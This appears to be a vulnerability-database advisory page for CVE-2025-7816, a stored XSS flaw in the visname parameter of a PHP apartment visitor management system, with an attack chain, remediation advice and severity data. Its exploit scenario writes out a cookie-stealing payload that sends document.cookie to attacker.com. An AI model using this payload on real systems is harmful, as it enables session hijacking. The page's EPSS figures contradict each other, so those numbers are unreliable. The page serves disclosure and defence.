PHPGurukul Apartment Visitors Management System
CVE-2025-7816
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain staff account credentials
-
DeliverySubmit crafted POST to /visitor-detail.php
-
ExploitInject JavaScript in visname parameter
-
ExecutionVictim views modified visitor detail
-
PersistExecute client-side script in victim context
-
ImpactExfiltrate session cookie or perform admin action
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) Valid authentication credentials to the Apartment Visitors Management System (PR:L in CVSS vector), (2) User interaction where a victim must visit the /visitor-detail.php page with the attacker-controlled visname parameter (UI:P), and (3) The visname parameter must not be filtered by any existing server-side or client-side input validation. No special configuration is required-the vulnerability exists in default installations. Exploitation is blocked if: the application is protected by a WAF with XSS filtering, if access to /visitor-detail.php is restricted to specific IP ranges, if the application is deployed behind a proxy that strips JavaScript payloads, or if modern browsers enforce strict Content Security Policy (CSP) headers that the application does not appear to implement. |
| Impact | Despite the low CVSS score (2.0) and extremely low EPSS percentile (16%), this vulnerability carries moderate real-world risk for deployed instances due to multiple mitigating and aggravating factors. CVSS vector analysis shows AV:N (network-accessible), AC:L (low complexity), but PR:L (requires login) and UI:P (requires user interaction), limiting widespread exploitation. However, EPSS at 0.05% percentile indicates this is NOT commonly exploited in practice-the public POC exists but adoption is negligible. This suggests the vulnerability targets a small user base with minimal security maturity. Organizations running this specific product face elevated risk only if: (1) the application is internet-facing, (2) user accounts are compromised or social engineering succeeds, and (3) attackers use the POC to harvest session cookies or credentials from staff/visitors. For most organizations, this is a low-priority patch due to low EPSS and the rarity of this product in enterprise deployments. However, any internet-facing instance should remediate immediately given the simplicity of the attack and the public POC. |
| Exploit ScenarioDerived | An authenticated staff member or attacker with a low-privileged account submits a POST request to /visitor-detail.php with visname set to '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When another staff member or manager views the visitor detail page, the JavaScript executes in their browser context, sending session cookies to the attacker. The attacker then impersonates the victim user to access the management interface or extract visitor data. This requires the attacker to either compromise a staff account or trick a staff member into clicking a malicious link that pre-fills the vulnerable parameter. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows authenticated remote attackers to inject malicious JavaScript via the visname parameter in /visitor-detail.php, which is then reflected to other users. The vulnerability requires user interaction (clicking a malicious link) but affects confidentiality and integrity of the application. Exploit code is publicly available on GitHub, though real-world exploitation remains limited (EPSS 0.05%).
RemediationAI
No vendor-released patch identified at time of analysis. Immediate mitigation options: (1) Upgrade to a patched version if PHPGurukul releases one by checking phpgurukul.com directly; (2) Manually patch the /visitor-detail.php file by applying HTML entity encoding to the visname parameter using htmlspecialchars($visname, ENT_QUOTES, 'UTF-8') before output; (3) Implement a Web Application Firewall (WAF) rule to block POST requests to /visitor-detail.php containing JavaScript keywords (script, onerror, onload) with High risk of false positives; (4) Restrict network access to the application to internal-only (VPN/bastion host) until patched, eliminating AV:N attack vector with minimal operational impact; (5) Disable the visitor detail feature if not essential, removing the attack surface entirely. Manual source code patching is recommended for organizations unable to wait for vendor updates, as the fix is straightforward (single line change). Monitor vuldb.com and phpgurukul.com for security advisories.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected/stored XSS vulnerability (CWE-79) in a PHP-based visitor management application. The /visitor-detail.php endpoint accepts HTTP POST requests with a visname parameter that is not properly sanitized or HTML-encoded before being rendered in the HTTP response. PHP applications commonly fail to use htmlspecialchars() or similar encoding functions when displaying user-controlled input in HTML context. The Apartment Visitors Management System is a small-scale PHP application typically deployed in shared hosting environments, making it representative of legacy PHP application security issues where parameterized input validation is minimal.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability, which was classified as problematic, was found in PHPGurukul Apartment Visitors Management System 1.0. Affected is an unknown function of the file /visitor-detail.php of the component HTTP POST Request Handler. The manipulation of the argument visname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB